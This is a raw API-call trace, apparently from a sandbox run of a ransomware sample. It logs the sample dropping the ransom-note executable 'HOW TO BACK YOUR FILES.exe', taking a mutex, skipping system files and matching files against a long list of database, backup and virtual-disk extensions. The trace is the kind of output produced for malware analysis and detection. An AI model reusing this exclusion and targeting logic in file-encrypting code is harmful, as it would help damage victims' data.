lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc608f00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc608f00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0054.207] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0054.207] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc608f00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc608f00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0054.207] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0054.207] ReleaseMutex (hMutex=0xec) returned 1 [0054.207] CloseHandle (hObject=0xec) returned 1 [0054.207] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Public\\Libraries" | out: lpString1="C:\\Documents and Settings\\Public\\Libraries") returned="C:\\Documents and Settings\\Public\\Libraries" [0054.207] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528dd0 | out: hHeap=0x4f0000) returned 1 [0054.207] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cf30 | out: hHeap=0x4f0000) returned 1 [0054.207] lstrlenW (lpString="C:\\Documents and Settings\\Public\\Libraries") returned 42 [0054.207] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\85781A3122C84A57F27F2F901C439C2E") returned 0xec [0054.207] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0054.207] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Public\\Libraries" | out: lpString1="C:\\Documents and Settings\\Public\\Libraries") returned="C:\\Documents and Settings\\Public\\Libraries" [0054.207] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0054.207] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Public\\Libraries\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\libraries\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.208] CreateFileW (lpFileName="C:\\Documents and Settings\\Public\\Libraries\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\libraries\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0054.208] GetLastError () returned 0x0 [0054.208] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0054.208] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0054.208] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0054.209] CloseHandle (hObject=0xf4) returned 1 [0054.209] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0054.209] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0054.209] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Public\\Libraries\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd2d4540, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd2d4540, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0054.209] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.209] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.209] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0054.209] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd2d4540, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd2d4540, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.209] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.209] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.209] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0054.209] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0054.209] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2839e1d0, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2839e1d0, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288f9359, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x58, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0054.209] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.209] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.209] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0054.209] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0054.210] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1 [0054.210] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1 [0054.210] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1 [0054.210] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1 [0054.210] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1 [0054.210] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1 [0054.210] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1 [0054.210] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1 [0054.210] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1 [0054.210] lstrlenW (lpString="desktop.ini") returned 11 [0054.210] lstrcpyW (in: lpString1=0x241e89e, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0054.210] lstrlenW (lpString="desktop.ini") returned 11 [0054.210] lstrlenW (lpString="Athena865") returned 9 [0054.210] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0054.210] lstrlenW (lpString=".dll") returned 4 [0054.210] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0054.210] lstrlenW (lpString=".lnk") returned 4 [0054.210] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0054.210] lstrlenW (lpString=".ini") returned 4 [0054.210] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0054.210] lstrlenW (lpString=".sys") returned 4 [0054.210] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0054.210] lstrlenW (lpString="desktop.ini") returned 11 [0054.210] lstrlenW (lpString="bak") returned 3 [0054.210] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0054.210] lstrlenW (lpString="ba_") returned 3 [0054.210] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0054.210] lstrlenW (lpString="dbb") returned 3 [0054.210] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0054.210] lstrlenW (lpString="vmdk") returned 4 [0054.210] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0054.210] lstrlenW (lpString="rar") returned 3 [0054.210] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0054.210] lstrlenW (lpString="zip") returned 3 [0054.211] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0054.211] lstrlenW (lpString="tgz") returned 3 [0054.211] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0054.211] lstrlenW (lpString="vbox") returned 4 [0054.211] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0054.211] lstrlenW (lpString="vdi") returned 3 [0054.211] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0054.211] lstrlenW (lpString="vhd") returned 3 [0054.211] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0054.211] lstrlenW (lpString="vhdx") returned 4 [0054.211] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0054.211] lstrlenW (lpString="avhd") returned 4 [0054.211] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0054.211] lstrlenW (lpString="db") returned 2 [0054.211] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0054.211] lstrlenW (lpString="db2") returned 3 [0054.211] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0054.211] lstrlenW (lpString="db3") returned 3 [0054.211] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0054.211] lstrlenW (lpString="dbf") returned 3 [0054.211] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0054.211] lstrlenW (lpString="mdf") returned 3 [0054.211] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0054.211] lstrlenW (lpString="mdb") returned 3 [0054.211] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0054.211] lstrlenW (lpString="sql") returned 3 [0054.211] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0054.211] lstrlenW (lpString="sqlite") returned 6 [0054.211] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0054.211] lstrlenW (lpString="sqlite3") returned 7 [0054.211] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0054.211] lstrlenW (lpString="sqlitedb") returned 8 [0054.211] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0054.211] lstrlenW (lpString="xml") returned 3 [0054.212] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0054.212] lstrlenW (lpString="$er") returned 3 [0054.212] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0054.212] lstrlenW (lpString="4dd") returned 3 [0054.212] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0054.212] lstrlenW (lpString="4dl") returned 3 [0054.212] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0054.212] lstrlenW (lpString="^^^") returned 3 [0054.212] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0054.212] lstrlenW (lpString="abs") returned 3 [0054.212] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0054.212] lstrlenW (lpString="abx") returned 3 [0054.212] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0054.212] lstrlenW (lpString="accdb") returned 5 [0054.212] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0054.212] lstrlenW (lpString="accdc") returned 5 [0054.212] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0054.212] lstrlenW (lpString="accde") returned 5 [0054.212] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0054.212] lstrlenW (lpString="accdr") returned 5 [0054.212] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0054.212] lstrlenW (lpString="accdt") returned 5 [0054.212] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0054.212] lstrlenW (lpString="accdw") returned 5 [0054.212] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0054.212] lstrlenW (lpString="accft") returned 5 [0054.212] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0054.213] lstrlenW (lpString="adb") returned 3 [0054.213] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0054.213] lstrlenW (lpString="adb") returned 3 [0054.213] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0054.213] lstrlenW (lpString="ade") returned 3 [0054.213] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0054.213] lstrlenW (lpString="adf") returned 3 [0054.213] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0054.213] lstrlenW (lpString="adn") returned 3 [0054.213] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0054.213] lstrlenW (lpString="adp") returned 3 [0054.213] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0054.213] lstrlenW (lpString="alf") returned 3 [0054.213] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0054.213] lstrlenW (lpString="ask") returned 3 [0054.213] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0054.213] lstrlenW (lpString="btr") returned 3 [0054.213] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0054.213] lstrlenW (lpString="cat") returned 3 [0054.213] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0054.213] lstrlenW (lpString="cdb") returned 3 [0054.213] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0054.213] lstrlenW (lpString="ckp") returned 3 [0054.213] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0054.213] lstrlenW (lpString="cma") returned 3 [0054.213] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0054.213] lstrlenW (lpString="cpd") returned 3 [0054.213] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0054.213] lstrlenW (lpString="dacpac") returned 6 [0054.213] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0054.213] lstrlenW (lpString="dad") returned 3 [0054.213] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0054.213] lstrlenW (lpString="dadiagrams") returned 10 [0054.213] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0054.213] lstrlenW (lpString="daschema") returned 8 [0054.214] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0054.214] lstrlenW (lpString="db-journal") returned 10 [0054.214] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0054.214] lstrlenW (lpString="db-shm") returned 6 [0054.214] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0054.214] lstrlenW (lpString="db-wal") returned 6 [0054.214] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0054.214] lstrlenW (lpString="dbc") returned 3 [0054.214] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0054.214] lstrlenW (lpString="dbs") returned 3 [0054.214] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0054.214] lstrlenW (lpString="dbt") returned 3 [0054.214] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0054.214] lstrlenW (lpString="dbv") returned 3 [0054.214] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0054.214] lstrlenW (lpString="dbx") returned 3 [0054.214] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0054.214] lstrlenW (lpString="dcb") returned 3 [0054.214] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0054.214] lstrlenW (lpString="dct") returned 3 [0054.214] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0054.214] lstrlenW (lpString="dcx") returned 3 [0054.214] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0054.214] lstrlenW (lpString="ddl") returned 3 [0054.214] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0054.214] lstrlenW (lpString="dlis") returned 4 [0054.214] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0054.214] lstrlenW (lpString="dp1") returned 3 [0054.214] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0054.214] lstrlenW (lpString="dqy") returned 3 [0054.214] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0054.214] lstrlenW (lpString="dsk") returned 3 [0054.214] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0054.214] lstrlenW (lpString="dsn") returned 3 [0054.214] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0054.215] lstrlenW (lpString="dtsx") returned 4 [0054.215] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0054.215] lstrlenW (lpString="dxl") returned 3 [0054.215] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0054.215] lstrlenW (lpString="eco") returned 3 [0054.215] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0054.215] lstrlenW (lpString="ecx") returned 3 [0054.215] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0054.215] lstrlenW (lpString="edb") returned 3 [0054.215] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0054.215] lstrlenW (lpString="epim") returned 4 [0054.215] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0054.215] lstrlenW (lpString="fcd") returned 3 [0054.215] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0054.215] lstrlenW (lpString="fdb") returned 3 [0054.215] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0054.215] lstrlenW (lpString="fic") returned 3 [0054.215] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0054.215] lstrlenW (lpString="flexolibrary") returned 12 [0054.215] lstrlenW (lpString="fm5") returned 3 [0054.215] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0054.215] lstrlenW (lpString="fmp") returned 3 [0054.215] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0054.215] lstrlenW (lpString="fmp12") returned 5 [0054.215] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1 [0054.215] lstrlenW (lpString="fmpsl") returned 5 [0054.215] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1 [0054.215] lstrlenW (lpString="fol") returned 3 [0054.215] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0054.215] lstrlenW (lpString="fp3") returned 3 [0054.215] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0054.215] lstrlenW (lpString="fp4") returned 3 [0054.215] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0054.215] lstrlenW (lpString="fp5") returned 3 [0054.216] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0054.216] lstrlenW (lpString="fp7") returned 3 [0054.216] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0054.216] lstrlenW (lpString="fpt") returned 3 [0054.216] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0054.216] lstrlenW (lpString="frm") returned 3 [0054.216] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0054.216] lstrlenW (lpString="gdb") returned 3 [0054.216] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0054.216] lstrlenW (lpString="gdb") returned 3 [0054.216] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0054.216] lstrlenW (lpString="grdb") returned 4 [0054.216] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0054.216] lstrlenW (lpString="gwi") returned 3 [0054.216] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0054.216] lstrlenW (lpString="hdb") returned 3 [0054.216] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0054.216] lstrlenW (lpString="his") returned 3 [0054.216] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0054.216] lstrlenW (lpString="ib") returned 2 [0054.216] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0054.216] lstrlenW (lpString="idb") returned 3 [0054.216] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0054.216] lstrlenW (lpString="ihx") returned 3 [0054.216] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0054.216] lstrlenW (lpString="itdb") returned 4 [0054.216] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0054.216] lstrlenW (lpString="itw") returned 3 [0054.216] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0054.216] lstrlenW (lpString="jet") returned 3 [0054.216] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0054.216] lstrlenW (lpString="jtx") returned 3 [0054.216] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0054.216] lstrlenW (lpString="kdb") returned 3 [0054.216] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0054.217] lstrlenW (lpString="kexi") returned 4 [0054.217] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0054.217] lstrlenW (lpString="kexic") returned 5 [0054.217] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1 [0054.217] lstrlenW (lpString="kexis") returned 5 [0054.217] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1 [0054.217] lstrlenW (lpString="lgc") returned 3 [0054.217] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0054.217] lstrlenW (lpString="lwx") returned 3 [0054.217] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0054.217] lstrlenW (lpString="maf") returned 3 [0054.217] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0054.217] lstrlenW (lpString="maq") returned 3 [0054.217] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0054.217] lstrlenW (lpString="mar") returned 3 [0054.217] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0054.217] lstrlenW (lpString="marshal") returned 7 [0054.217] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1 [0054.217] lstrlenW (lpString="mas") returned 3 [0054.217] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0054.217] lstrlenW (lpString="mav") returned 3 [0054.217] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0054.217] lstrlenW (lpString="maw") returned 3 [0054.217] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0054.217] lstrlenW (lpString="mdbhtml") returned 7 [0054.217] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1 [0054.217] lstrlenW (lpString="mdn") returned 3 [0054.217] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0054.217] lstrlenW (lpString="mdt") returned 3 [0054.217] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0054.217] lstrlenW (lpString="mfd") returned 3 [0054.217] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0054.217] lstrlenW (lpString="mpd") returned 3 [0054.217] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0054.217] lstrlenW (lpString="mrg") returned 3 [0054.218] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0054.218] lstrlenW (lpString="mud") returned 3 [0054.218] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0054.218] lstrlenW (lpString="mwb") returned 3 [0054.218] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0054.218] lstrlenW (lpString="myd") returned 3 [0054.218] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0054.218] lstrlenW (lpString="ndf") returned 3 [0054.218] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0054.218] lstrlenW (lpString="nnt") returned 3 [0054.218] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0054.218] lstrlenW (lpString="nrmlib") returned 6 [0054.218] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1 [0054.218] lstrlenW (lpString="ns2") returned 3 [0054.218] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0054.218] lstrlenW (lpString="ns3") returned 3 [0054.218] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0054.218] lstrlenW (lpString="ns4") returned 3 [0054.218] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0054.218] lstrlenW (lpString="nsf") returned 3 [0054.218] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0054.218] lstrlenW (lpString="nv") returned 2 [0054.218] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0054.218] lstrlenW (lpString="nv2") returned 3 [0054.218] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0054.218] lstrlenW (lpString="nwdb") returned 4 [0054.218] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0054.218] lstrlenW (lpString="nyf") returned 3 [0054.218] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0054.218] lstrlenW (lpString="odb") returned 3 [0054.218] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0054.218] lstrlenW (lpString="odb") returned 3 [0054.218] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0054.218] lstrlenW (lpString="oqy") returned 3 [0054.219] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0054.219] lstrlenW (lpString="ora") returned 3 [0054.219] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0054.219] lstrlenW (lpString="orx") returned 3 [0054.219] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0054.219] lstrlenW (lpString="owc") returned 3 [0054.219] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0054.219] lstrlenW (lpString="p96") returned 3 [0054.219] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0054.219] lstrlenW (lpString="p97") returned 3 [0054.219] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0054.219] lstrlenW (lpString="pan") returned 3 [0054.219] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0054.219] lstrlenW (lpString="pdb") returned 3 [0054.219] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0054.219] lstrlenW (lpString="pdm") returned 3 [0054.219] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0054.219] lstrlenW (lpString="pnz") returned 3 [0054.219] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0054.219] lstrlenW (lpString="qry") returned 3 [0054.219] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0054.219] lstrlenW (lpString="qvd") returned 3 [0054.219] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0054.219] lstrlenW (lpString="rbf") returned 3 [0054.219] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0054.219] lstrlenW (lpString="rctd") returned 4 [0054.219] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0054.219] lstrlenW (lpString="rod") returned 3 [0054.219] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0054.219] lstrlenW (lpString="rodx") returned 4 [0054.219] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0054.219] lstrlenW (lpString="rpd") returned 3 [0054.219] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0054.219] lstrlenW (lpString="rsd") returned 3 [0054.220] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0054.220] lstrlenW (lpString="sas7bdat") returned 8 [0054.220] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1 [0054.220] lstrlenW (lpString="sbf") returned 3 [0054.220] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0054.220] lstrlenW (lpString="scx") returned 3 [0054.220] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0054.220] lstrlenW (lpString="sdb") returned 3 [0054.220] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0054.220] lstrlenW (lpString="sdc") returned 3 [0054.220] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0054.220] lstrlenW (lpString="sdf") returned 3 [0054.220] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0054.220] lstrlenW (lpString="sis") returned 3 [0054.220] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0054.220] lstrlenW (lpString="spq") returned 3 [0054.220] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0054.220] lstrlenW (lpString="te") returned 2 [0054.220] 